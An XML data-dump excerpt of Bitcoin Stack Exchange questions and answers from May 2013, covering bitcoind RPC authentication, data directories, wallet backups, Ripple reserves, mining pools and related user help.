  <row Id="10544" PostTypeId="2" ParentId="10541" CreationDate="2013-05-03T00:55:04.810" Score="3" Body="&lt;p&gt;The bitcoin wiki has a list:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://en.bitcoin.it/wiki/List_of_alternative_cryptocurrencies&quot; rel=&quot;nofollow&quot;&gt;https://en.bitcoin.it/wiki/List_of_alternative_cryptocurrencies&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is a forum dedicated to alternative coins at bitcointalk:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://bitcointalk.org/index.php?board=67.0&quot; rel=&quot;nofollow&quot;&gt;https://bitcointalk.org/index.php?board=67.0&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="4759" LastActivityDate="2013-05-03T00:55:04.810" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10545" PostTypeId="1" AcceptedAnswerId="10586" CreationDate="2013-05-03T00:56:44.763" Score="3" ViewCount="2531" Body="&lt;p&gt;I'm trying to make a simple request to bitcoind using perl I followed the example from the &lt;a href=&quot;https://en.bitcoin.it/wiki/API_reference_%28JSON-RPC%29#Perl&quot; rel=&quot;nofollow&quot;&gt;API reference&lt;/a&gt;, but it fails saying &quot;401 Authorization Required&quot;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&#xA;#!/usr/bin/perl -w &#xA;&#xA;use JSON::RPC::Client;&#xA;use Data::Dumper;&#xA;&#xA;my $client = new JSON::RPC::Client;&#xA;&#xA;$client-&gt;ua-&gt;credentials(&#xA;    'localhost:8332', 'jsonrpc', 'bitcoinrpc' =&gt; 'mybitcoinrpcpassword'  # REPLACE WITH YOUR bitcoin.conf rpcuser/rpcpassword&#xA;    );&#xA;&#xA;my $uri = 'http://localhost:8332/';&#xA;my $obj = {&#xA;    method  =&gt; 'getinfo',&#xA;    params  =&gt; [],&#xA;};&#xA;&#xA;my $res = $client-&gt;call( $uri, $obj );&#xA;&#xA;if ($res){&#xA;    if ($res-&gt;is_error) { print &quot;Error : &quot;, $res-&gt;error_message; }&#xA;    else { print Dumper($res-&gt;result); }&#xA;} else {&#xA;    print $client-&gt;status_line;&#xA;}&#xA;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Am I missing something obvious? Thanks for any help!&lt;/p&gt;&#xA;" OwnerUserId="4799" LastActivityDate="2013-05-04T15:10:22.770" Title="Authorization required error when accessing bitcoin using json RPC" Tags="|bitcoind|json-rpc|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10546" PostTypeId="2" ParentId="1895" CreationDate="2013-05-03T00:57:40.047" Score="2" Body="&lt;p&gt;Currently the most comprehensive list is curated here:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://bitcointalk.org/index.php?topic=134179.0&quot; rel=&quot;nofollow&quot;&gt;http://bitcointalk.org/index.php?topic=134179.0&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="153" LastActivityDate="2013-05-03T00:57:40.047" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10547" PostTypeId="2" ParentId="10505" CreationDate="2013-05-03T01:03:17.023" Score="0" Body="&lt;p&gt;The Bitcoin-Qt client will not let you spend funds that have not yet confirmed unless the funds are change to your own prior transactions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Other clients (e.g., Blockchain.info/wallet) may not have this limitation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Blocks with these transactions are perfectly valid.&lt;/p&gt;&#xA;" OwnerUserId="153" LastActivityDate="2013-05-03T01:03:17.023" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10548" PostTypeId="2" ParentId="10468" CreationDate="2013-05-03T01:13:20.737" Score="2" Body="&lt;p&gt;The Bitcoin-Qt client currently does not provide any method to delete addresses.  You can create a new wallet and import a subset of the private keys from the old wallet to create a wallet that doesn't have certain private keys/addresses.&lt;/p&gt;&#xA;" OwnerUserId="153" LastActivityDate="2013-05-03T01:13:20.737" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10549" PostTypeId="2" ParentId="10460" CreationDate="2013-05-03T01:20:17.860" Score="1" Body="&lt;p&gt;Technically, bitcoins aren't sent to a wallet.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Bitcoin blockchain works as a ledger.  A &quot;wallet&quot; simply holds the keys that allow you to spend funds.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are simply asking how to monitor balances for certain addresses, there are third party services such as &lt;a href=&quot;http://BTCBalance.net&quot; rel=&quot;nofollow&quot;&gt;BTCBalance.net&lt;/a&gt; which make this possible.&lt;/p&gt;&#xA;" OwnerUserId="153" LastActivityDate="2013-05-03T01:20:17.860" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10551" PostTypeId="1" AcceptedAnswerId="10552" CreationDate="2013-05-03T01:51:51.473" Score="17" ViewCount="17798" Body="&lt;p&gt;I am on Windows and installed the Bitcoin wallet. The block folder seems to grow bigger everyday and is stored on my C drive in the roaming directory. I would like to set this to some other folder on another drive, which has more place. How would I go about doing this?&lt;/p&gt;&#xA;" OwnerUserId="4803" LastEditorUserId="5406" LastEditDate="2021-07-04T22:45:04.363" LastActivityDate="2021-07-04T22:45:04.363" Title="How do I specify in which directory Bitcoin blocks and other data should be stored?" Tags="|bitcoin-core|bitcoin.conf|" AnswerCount="1" CommentCount="1" ClosedDate="2014-08-29T05:31:51.313" ContentLicense="CC BY-SA 3.0" />
  <row Id="10552" PostTypeId="2" ParentId="10551" CreationDate="2013-05-03T02:08:57.833" Score="12" Body="&lt;p&gt;I believe you can specify this directory using the &lt;code&gt;datadir&lt;/code&gt; configuration in &lt;code&gt;bitcoin.conf&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;-datadir=&amp;lt;dir&amp;gt;         Specify data directory&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;See &lt;a href=&quot;https://en.bitcoin.it/wiki/Running_Bitcoin&quot;&gt;Running Bitcoin&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="1409" LastActivityDate="2013-05-03T02:08:57.833" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10553" PostTypeId="1" AcceptedAnswerId="10576" CreationDate="2013-05-03T02:24:54.957" Score="3" ViewCount="218" Body="&lt;p&gt;If Ripple can handle money as exchanger, is it possible to use it for other financial operations like assets accounting, loans, deposits, stock exchange etc.?&lt;/p&gt;&#xA;" OwnerUserId="4802" LastEditorUserId="196" LastEditDate="2013-05-03T20:16:38.970" LastActivityDate="2013-05-04T08:36:17.997" Title="Using Ripple for assets accounting, loans, deposits, stock exchange, etc" Tags="|ripple|accounting|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10554" PostTypeId="1" AcceptedAnswerId="10556" CreationDate="2013-05-03T02:25:48.513" Score="3" ViewCount="3572" Body="&lt;p&gt;My wallet have 3 addresses. I want to consolidate payment into one.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What should I do in bitcoin-qt.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Notice on the SAME wallet. I know how to do this if the addresses are on different wallet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I just don't want to keep moving wallets because I have backups on those wallets.&lt;/p&gt;&#xA;" OwnerUserId="1498" LastEditorUserId="1498" LastEditDate="2013-05-04T03:38:44.983" LastActivityDate="2013-05-04T03:38:44.983" Title="How do I move money from one address to another on the same wallet?" Tags="|wallet|" AnswerCount="1" CommentCount="4" ClosedDate="2013-05-06T00:11:03.840" ContentLicense="CC BY-SA 3.0" />
  <row Id="10555" PostTypeId="2" ParentId="7724" CreationDate="2013-05-03T02:48:10.910" Score="30" Body="&lt;p&gt;This is the way I see it. The total number of bitcoins that will ever be mined is 21 million. The smallest bitcoin unit is a satoshi (0.00000001 BTC). If we place all possible satoshis into a wallet of their own, we would get the maximum number of wallets that could have any balance to them (so the actual number of wallets with bitcoins is obviously less). This is 21x10^6(BTC) x 10^8 (satoshi/BTC) = 21 x10^14 wallets. It's a huge number, but it's eclipsed by 2^256 possible wallets. So in this worst case scenario, the probability of guessing a wallet with one satoshi is 21x10^14/(2^256)=1.813595x10^-62. An incredibly small number.&lt;/p&gt;&#xA;" OwnerUserId="4805" LastActivityDate="2013-05-03T02:48:10.910" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="10556" PostTypeId="2" ParentId="10554" CreationDate="2013-05-03T03:32:28.373" Score="6" Body="&lt;p&gt;Create a new address and send your entire balance to that new address.&lt;/p&gt;&#xA;" OwnerUserId="1409" LastActivityDate="2013-05-03T03:32:28.373" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10557" PostTypeId="1" AcceptedAnswerId="10558" CreationDate="2013-05-03T06:08:09.423" Score="3" ViewCount="125" Body="&lt;p&gt;Other clients, including Bitcoin-Qt, use a key pool so that a backup is still valid for a while.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Blockchain.info/wallet doesn't use a key pool.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After a backup of the wallet is obtained and archived, when would a new backup be needed?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;[Specifically, does Quick Send send change to only existing addresses?]&lt;/p&gt;&#xA;" OwnerUserId="153" LastActivityDate="2013-05-03T06:11:47.337" Title="What actions trigger the need to obtain a new backup with Blockchain.info/wallet?" Tags="|blockchain.info|e-wallet|backup|hybrid|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10558" PostTypeId="2" ParentId="10557" CreationDate="2013-05-03T06:11:47.337" Score="0" Body="&lt;p&gt;A new backup is required after every Custom transaction in which the change is set to go to a New Address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you have configured your account with an e-mail address and have marked the checkbox for Automatic Email Backups a backup will be sent automatically via e-mail for each occurrence where a new backup is required.&lt;/p&gt;&#xA;" OwnerUserId="153" LastActivityDate="2013-05-03T06:11:47.337" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10559" PostTypeId="2" ParentId="10508" CreationDate="2013-05-03T09:25:18.017" Score="1" Body="&lt;p&gt;If you have not set up port forwarding correctly you will only be able to connect to 8 others. If those 8 others do not have a generous connection to you it could be very slow. (This is worth checking)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Aside from that your CPU should be hard at work compressing old blocks and verifying all blocks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Aside from that your disk will have a lot of random access (also because of the compressing and verifying) and might be the bottleneck.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You might scour the Internet for a recent version of a downloaded blockchain, or resort to using a light client or webwallet.&lt;/p&gt;&#xA;" OwnerUserId="909" LastActivityDate="2013-05-03T09:25:18.017" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10560" PostTypeId="2" ParentId="7724" CreationDate="2013-05-03T10:54:45.970" Score="1" Body="&lt;p&gt;I suspect the simple answer is that Person B would be able to spend Person A's bitcoins, as he would show up in the ledger as owning them. Not dissimilar from simply giving someone your wallet.&lt;/p&gt;&#xA;" OwnerUserId="4809" LastEditorUserId="120" LastEditDate="2013-05-03T12:39:29.007" LastActivityDate="2013-05-03T12:39:29.007" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10563" PostTypeId="1" CreationDate="2013-05-03T13:29:38.267" Score="2" ViewCount="388" Body="&lt;p&gt;I'm using the Blockchain API to generate an address to receive payments. I received a payment to a generated address, then Blockchain sends the received amount to the address I defined but that transaction is never confirmed and has Very Poor network propagation 1% - 7 Nodes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is no problem if I'm using Blockchain to manage my wallet but my bitcoin client running on my machine never sees that transaction so my blockchain wallet has 0.86964083 Bitcoins and my local wallet (with the same priv keys) has 0.84787744 Bitcoins due to the poor propagation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What can I do to propagate the transaction to my bitcoin client?&lt;/p&gt;&#xA;" OwnerUserId="11" LastActivityDate="2024-02-10T14:03:25.420" Title="Blockchain receive payments API Network propagation" Tags="|blockchain|network|api|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10564" PostTypeId="2" ParentId="10563" CreationDate="2013-05-03T15:11:20.743" Score="0" Body="&lt;p&gt;This is a shot in the dark, but perhaps you could get the raw transaction from Blockchain from &lt;code&gt;http://blockchain.info/rawtx/$tx_hash&lt;/code&gt; and send it from your client with &lt;code&gt;sendrawtransaction&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="1409" LastActivityDate="2013-05-03T15:11:20.743" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10565" PostTypeId="2" ParentId="327" CreationDate="2013-05-03T18:02:27.123" Score="1" Body="&lt;p&gt;Accepting bitcoin is easy. Create an account on coinbase.com&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Go to:&#xA;Linked Accounts -&gt; Link a bank account.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;then&#xA;Merchant Tools -&gt; Merchant Settings -&gt;&#xA;Check, &quot;Instantly exchange my bitcoins to USD and credit my primary bank account once a day.&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Add this to your event description:&#xA;&quot;Bitcoin Accepted w/ coinbase to info@yourdomain.com&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want a bitcoin logo you can use this: &lt;a href=&quot;https://i.imgur.com/s7YQ2.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://i.imgur.com/s7YQ2.jpg&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here are examples of other companies accepting bitcoin:&#xA;&lt;a href=&quot;http://blog.coinbase.com/post/48102298494/okcupid-starts-accepting-bitcoin-using-coinbase&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://blog.coinbase.com/post/48102298494/okcupid-starts-accepting-bitcoin-using-coinbase&lt;/a&gt;&#xA;&lt;a href=&quot;http://en.blog.wordpress.com/2012/11/15/pay-another-way-bitcoin/&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://en.blog.wordpress.com/2012/11/15/pay-another-way-bitcoin/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="145" LastActivityDate="2013-05-03T18:02:27.123" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10566" PostTypeId="2" ParentId="9021" CreationDate="2013-05-03T19:48:43.443" Score="0" Body="&lt;p&gt;There are! Check the &lt;a href=&quot;http://litecoin.info/Main_Page&quot; rel=&quot;nofollow&quot;&gt;Litecoin Wiki&lt;/a&gt; for more information, and a list of services.&lt;/p&gt;&#xA;" OwnerUserId="3557" LastEditorUserId="4266" LastEditDate="2013-06-28T16:53:32.317" LastActivityDate="2013-06-28T16:53:32.317" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10567" PostTypeId="1" CreationDate="2013-05-03T22:29:08.803" Score="1" ViewCount="96" Body="&lt;p&gt;If all transactions are public knowledge and coins are identifiable and thus traceable. With the power of subpoena can't a government uncover who bought the coin(s) from an exchange. It might be unlikely but this appears to be a big hole in claim that bitcoins are an anonymous currency. Or do I misunderstand the technology?&lt;/p&gt;&#xA;" OwnerUserId="2582" LastEditorUserId="196" LastEditDate="2013-05-03T22:33:20.133" LastActivityDate="2013-05-03T22:33:20.133" Title="Are we anonymous against governments?" Tags="|blockchain|privacy|government|" AnswerCount="0" CommentCount="4" ClosedDate="2013-05-06T12:27:12.100" ContentLicense="CC BY-SA 3.0" />
  <row Id="10568" PostTypeId="1" CreationDate="2013-05-03T22:36:43.723" Score="-1" ViewCount="65" Body="&lt;p&gt;My following bitcoin comes up with errors which are saying &quot;Wallet (out of sync) and also Recent Transactions (out of sync)&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this consistent throughout and will go away or is there a problem?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The port number is currently set as 9050&lt;/p&gt;&#xA;" OwnerUserId="4817" LastActivityDate="2013-05-05T16:43:26.187" Title="problem with bitcoin software" Tags="|transactions|" AnswerCount="1" CommentCount="0" ClosedDate="2013-05-06T00:08:41.300" ContentLicense="CC BY-SA 3.0" />
  <row Id="10569" PostTypeId="2" ParentId="10141" CreationDate="2013-05-03T23:31:05.030" Score="1" Body="&lt;p&gt;In KC705_experimental, the readme says the device should return 0E33337A and two other results. It just so happens the bit of test work described in the readme has three different solutions to it.  A mining script should return all three solutions to the server.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;fpgaminer, the author of the KC705_experimental code, has written an addon for the Modular Python Bitcoin Miner project (MPBM) to mine using KC705 hardware.  If writing your own mining script you may want to refer to his work.  You can find more information here:  &lt;a href=&quot;https://bitcointalk.org/index.php?topic=9047.msg2019538#msg2019538&quot; rel=&quot;nofollow&quot;&gt;https://bitcointalk.org/index.php?topic=9047.msg2019538#msg2019538&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="4790" LastActivityDate="2013-05-03T23:31:05.030" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10570" PostTypeId="1" CreationDate="2013-05-04T00:17:33.597" Score="5" ViewCount="5923" Body="&lt;p&gt;I know Eligius doesn't have a lengthly setup process, you just use your payout address as the username.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Which other pools are this easy to start with?&lt;/p&gt;&#xA;" OwnerUserId="3725" LastActivityDate="2013-05-17T01:48:51.323" Title="Which mining pools do not require account creation?" Tags="|mining-pools|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10573" PostTypeId="1" CreationDate="2013-05-04T03:09:58.407" Score="1" ViewCount="1536" Body="&lt;p&gt;I have two users on my Linux system, &lt;em&gt;daemonuser&lt;/em&gt;, which runs bitcoind and &lt;em&gt;abeuser&lt;/em&gt;, which runs Abe.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Whenever I start Abe, I am told:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Skipping datadir /home/daemonuser/.bitcoin/blocks: [Errno 13]&#xA;  Permission denied: '/home/daemonuser/.bitcoin/blocks/blk0001.dat'&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Even after adding &lt;em&gt;abeuser&lt;/em&gt; as a readable user on the /home/daemonuser/.bitcoin/blocks/ directory.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Would it be easier to keep bitcoin's blockdata in a public folder and read it from there for Abe's purposes?&lt;/p&gt;&#xA;" OwnerUserId="3145" LastEditorUserId="121614" LastEditDate="2021-12-27T17:19:13.633" LastActivityDate="2021-12-27T17:19:13.633" Title="Can I change the bitcoin block-data directory from /home/user/.bitcoin/blocks to something else?" Tags="|blockchain|bitcoind|full-node|" AnswerCount="1" CommentCount="3" ClosedDate="2013-05-06T00:16:21.640" ContentLicense="CC BY-SA 3.0" />
  <row Id="10574" PostTypeId="2" ParentId="4441" CreationDate="2013-05-04T06:25:34.950" Score="2" Body="&lt;p&gt;Green addresses are by convention, not by protocol.  You would need to publish an address and then sign a message with the corresponding private key that says, &quot;I promise never to double-spend any coins from this address.&quot;  Then you'd need to convince others to believe your promise.&lt;/p&gt;&#xA;" OwnerUserId="1507" LastActivityDate="2013-05-04T06:25:34.950" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10575" PostTypeId="2" ParentId="10205" CreationDate="2013-05-04T08:33:59.177" Score="1" Body="&lt;p&gt;Although it's not covered by the specification, it seems logical to match all transaction fees (in the order in which the transactions appear in the block) against the block reward the same way other transactions are matched. The leaves only whether the block reward comes before or after the transaction fees. I think it makes the most sense to put the block reward after the transaction fees, since the block reward will always consist of uncolored coins (unless someone &quot;pre-colors&quot; them, which seems strange), and the convention is that uncolored coins go last.&lt;/p&gt;&#xA;" OwnerUserId="85" LastEditorUserId="85" LastEditDate="2013-05-04T09:05:54.987" LastActivityDate="2013-05-04T09:05:54.987" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10576" PostTypeId="2" ParentId="10553" CreationDate="2013-05-04T08:36:17.997" Score="3" Body="&lt;p&gt;Ripple has a &lt;a href=&quot;https://ripple.com/wiki/Contracts&quot; rel=&quot;nofollow&quot;&gt;contract system&lt;/a&gt; under development. This will allow people to bind Ripple assets or accounts to a set of rules. This should be usable for most of the things mentioned in your question.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Loans, ideally, would be done just as negative balances on a pathway.&lt;/p&gt;&#xA;" OwnerUserId="85" LastActivityDate="2013-05-04T08:36:17.997" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10577" PostTypeId="2" ParentId="4466" CreationDate="2013-05-04T09:55:02.703" Score="3" Body="&lt;p&gt;for the reports you have:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;mtgoxlive.com/orders&lt;/p&gt;&#xA;&#xA;&lt;p&gt;bitcoincharts.com/markets/mtgoxUSD_depth.html&lt;/p&gt;&#xA;&#xA;&lt;p&gt;for the source data you have:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;en.bitcoin.it/wiki/MtGox/API/HTTP/v0#0.2FgetDepth.php (truncated)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;en.bitcoin.it/wiki/MtGox/API/HTTP/v1#Full_Depth (full)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Related thread on bitcointalk: &lt;a href=&quot;https://bitcointalk.org/index.php?topic=194868.msg2023904#msg2023904&quot; rel=&quot;nofollow&quot;&gt;https://bitcointalk.org/index.php?topic=194868.msg2023904#msg2023904&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="4822" LastEditorUserId="4822" LastEditDate="2013-05-04T10:21:39.700" LastActivityDate="2013-05-04T10:21:39.700" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10579" PostTypeId="1" AcceptedAnswerId="10657" CreationDate="2013-05-04T10:25:34.643" Score="-9" ViewCount="2669" Body="&lt;p&gt;I can see that I can buy litecoins from btc-e, but they charge a fee.  My question is, how are they buying litecoins, i.e. I am assuming they are buying litecoins without paying a fee, and would like to know how to buy litecoins without paying a fee.&lt;/p&gt;&#xA;" OwnerUserId="4823" LastActivityDate="2017-04-20T10:14:30.120" Title="It is possible to buy litecoins without paying commission?" Tags="|litecoin|exchange-fees|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10580" PostTypeId="1" AcceptedAnswerId="10614" CreationDate="2013-05-04T10:32:37.777" Score="3" ViewCount="504" Body="&lt;p&gt;I made a wallet at blockchain.info and enabled two-step authentication using Google Authenticator.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As I understand it, the operator of blockchain.info cannot access your wallet (unlike e.g. MtGox). Yet somehow blockchain.info can deposit coins in my wallet. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, I assume the two-step does not work for the offline backup files, but the password does?&lt;/p&gt;&#xA;" OwnerUserId="1379" LastActivityDate="2013-05-05T23:46:48.997" Title="How does blockchain.info access my wallet in MyWallet" Tags="|blockchain.info|e-wallet|hybrid|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10581" PostTypeId="2" ParentId="10580" CreationDate="2013-05-04T10:40:05.697" Score="3" Body="&lt;p&gt;Your wallet is only used to &lt;em&gt;send&lt;/em&gt; coins. To receive coins you don't need access to the wallet.&lt;/p&gt;&#xA;" OwnerUserId="4358" LastActivityDate="2013-05-04T10:40:05.697" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10584" PostTypeId="2" ParentId="10205" CreationDate="2013-05-04T13:42:44.443" Score="1" Body="&lt;p&gt;Although the standard way of dealing with colored coins left for fees is to uncolor them, it is possible to offer colored fees.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This has been recently discussed in the bitcoinx mailing list. I quote Alex Mizrahi (Killerstorm) for an explanation on how to do it:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&quot;Pay a small amount of colored coins to output  OP_TRUE script. Anybody can spend it, but usually that would be miner who mines next block and can recognize OP_TRUE script. Thus miner can construct transaction which pays colored coins to himself and include both into block he mines.&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is the original thread: &lt;a href=&quot;https://groups.google.com/d/topic/bitcoinx/JshJboR_vWc/discussion&quot; rel=&quot;nofollow&quot;&gt;https://groups.google.com/d/topic/bitcoinx/JshJboR_vWc/discussion&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="192" LastActivityDate="2013-05-04T13:42:44.443" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="10586" PostTypeId="2" ParentId="10545" CreationDate="2013-05-04T15:10:22.770" Score="4" Body="&lt;p&gt;Figured it out. Turns out that (at least on Bitcoind 0.8.1 on Ubuntu), specifying the conf file when starting bitcoind doesn't do anything. I was starting it with:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&#xA;bitcoind -daemon -conf=./bitcoin.conf &#xA;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;from a bitcoin directory I had created /home/vijay/btc/. But bitcoind automatically uses the conf file in ~/.bitcoin/bitcoin.conf and mine was being completely ignored. Not sure what the point of the &quot;-conf&quot; option is!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So the solution was just to add my rpc username and password to the default conf file, which fixed the authorization failed error.&lt;/p&gt;&#xA;" OwnerUserId="4799" LastActivityDate="2013-05-04T15:10:22.770" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="10587" PostTypeId="2" ParentId="10573" CreationDate="2013-05-04T15:38:28.277" Score="1" Body="&lt;p&gt;Did you make the files in the &lt;code&gt;.bitcoin/blocks/&lt;/code&gt; directory readable for Abe? You can test this by logging in as Abe (&lt;code&gt;sudo su abeuser&lt;/code&gt; should suffice) and typing &lt;code&gt;strings ~daemonuser/.bitcoin/blocks/any.file&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="131" LastActivityDate="2013-05-04T15:38:28.277" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10588" PostTypeId="2" ParentId="10570" CreationDate="2013-05-04T16:39:37.893" Score="1" Body="&lt;p&gt;50BTC, but I'm pretty sure they take some fees, while Eligius is takes transaction fees instead.&lt;/p&gt;&#xA;" OwnerUserId="4832" LastEditorUserId="196" LastEditDate="2013-05-04T21:00:10.260" LastActivityDate="2013-05-04T21:00:10.260" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10589" PostTypeId="1" CreationDate="2013-05-04T17:38:03.043" Score="1" ViewCount="115" Body="&lt;p&gt;I want to create an joint &quot;address&quot;, made of 3 individual ordinary addresses, such that any combination of 2 addresses can move the bitcoins stored at the joint address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is the way to do this using current tooling? Please be as detailed as possible, specify tools, specific command line argument, etc.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;How do I create the 3 addresses? (They should each be created on a separate computer, to increase security)&lt;/li&gt;&#xA;&lt;li&gt;How do I send money to the joint address?&lt;/li&gt;&#xA;&lt;li&gt;How do I spend money from the joint address?&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="78" LastActivityDate="2013-05-04T17:38:03.043" Title="How do I use multisig transactions?" Tags="|security|multi-signature|" AnswerCount="0" CommentCount="1" ClosedDate="2013-05-06T16:36:02.533" ContentLicense="CC BY-SA 3.0" />
  <row Id="10591" PostTypeId="2" ParentId="10579" CreationDate="2013-05-04T18:43:59.397" Score="2" Body="&lt;p&gt;btc-e.com 0.2% Trading fee 0.5 LTC for withdrawing Litecoin&lt;/p&gt;&#xA;&#xA;&lt;p&gt;vircurex.com 0.5% Trading fee 0.1 LTC for withdrawing Litecoin&lt;/p&gt;&#xA;&#xA;&lt;p&gt;these trading fee's are very low although i do admit the withdrawal fee's are high for any small transfers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But really these are your only options and it's very unlikely any alternatives are around or will be around soon that can beat either.&lt;/p&gt;&#xA;" OwnerUserId="4834" LastActivityDate="2013-05-04T18:43:59.397" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10592" PostTypeId="1" AcceptedAnswerId="10595" CreationDate="2013-05-04T19:58:03.437" Score="4" ViewCount="616" Body="&lt;p&gt;As far as I understand, you need to keep some XRP in reserve for each trust line and for each open offer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does that apply only for outgoing trust, or for incoming trust too?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the latter case, what does it happen if you try to trust someone who doesn't have enough XRPs?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And, are you somehow notified you have exhausted your XRPs, or you have to manually check somehow?&lt;/p&gt;&#xA;" OwnerUserId="196" LastEditorUserId="817" LastEditDate="2014-05-25T21:52:48.030" LastActivityDate="2014-05-25T21:52:48.030" Title="Do you need XRP reserves to receive trust lines?" Tags="|ripple|ripple-trust|xrp-reserve|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
